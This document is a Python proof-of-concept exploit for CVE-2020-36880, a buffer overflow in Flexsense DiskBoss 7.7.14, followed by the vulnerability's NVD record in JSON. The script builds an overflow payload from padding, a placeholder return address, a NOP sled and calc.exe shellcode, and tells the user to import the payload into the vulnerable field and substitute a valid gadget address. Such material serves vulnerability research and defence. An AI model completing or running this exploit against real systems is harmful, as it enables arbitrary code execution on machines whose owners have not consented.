CVE-2020-36880

#!/usr/bin/env python3 # CVE-2020-36880 PoC - DiskBoss 7.7.14 Buffer Overflow # Author: VulnCheck # Target: 'Reports and Data Directory' Field import struct import sys def create_exploit_payload(): """ Generate exploit payload for CVE-2020-36880 This PoC demonstrates the buffer overflow condition """ # Buffer size for overflow (adjust based on target) buffer_size = 524 # Typical overflow point # Padding to reach overflow threshold padding = b'A' * buffer_size # Overwrite EIP with address of our shellcode # Using common technique: jmp esp or call esp eip = struct.pack('<I', 0x41414141) # Placeholder - replace with valid address # NOP sled for reliability nops = b'\x90' * 32 # Shellcode - calc.exe (Windows) # This is a simple demonstration shellcode shellcode = ( b"\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\xb8\x2e\x65\x78\x65\x50\x83\xc0" b"\x0b\x89\x44\x24\xfc\xb8\x63\x6f\x6d\x6d\x50\x83\xc0\x0a\x89\x44\x24" b"\xf8\xb8\x65\x78\x65\x63\x50\x83\xc0\x07\x89\x44\x24\xf4\x31\xc0\x50\x40" b"\x50\x50\x54\xb8\x77\x1b\x81\x7c\xff\xd0\x31\xc0\x50\xb8\xea\x07\xd5\x7d" b"\xff\xd0" ) # Ensure total size is reasonable payload = padding + eip + nops + shellcode return payload def main(): print("[*] CVE-2020-36880 PoC Generator") print("[*] Target: Flexsense DiskBoss 7.7.14") print("[*] Vulnerability: Buffer Overflow in Reports and Data Directory") payload = create_exploit_payload() # Output payload to file output_file = "CVE-2020-36880_payload.bin" with open(output_file, 'wb') as f: f.write(payload) print(f"[+] Payload generated: {len(payload)} bytes") print(f"[+] Saved to: {output_file}") print("[!] Usage: Import this payload into the 'Reports and Data Directory' field") print("[!] Note: Replace EIP address with valid ROP gadget address for your system") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2020-36880", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:53.883", "lastModified": "2025-12-10T15:10:41.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flexsense DiskBoss 7.7.14 contains a local buffer overflow vulnerability in the 'Reports and Data Directory' field that allows an attacker to execute arbitrary code on the system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flexense:diskboss:7.7.14:*:*:*:*:*:*:*", "matchCriteriaId": "45845F37-34B8-4E68-B7B3-388E5E643282"}]}]}], "references": [{"url": "https://www.diskboss.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/48689", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/flexsense-diskboss-reports-and-data-directory-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}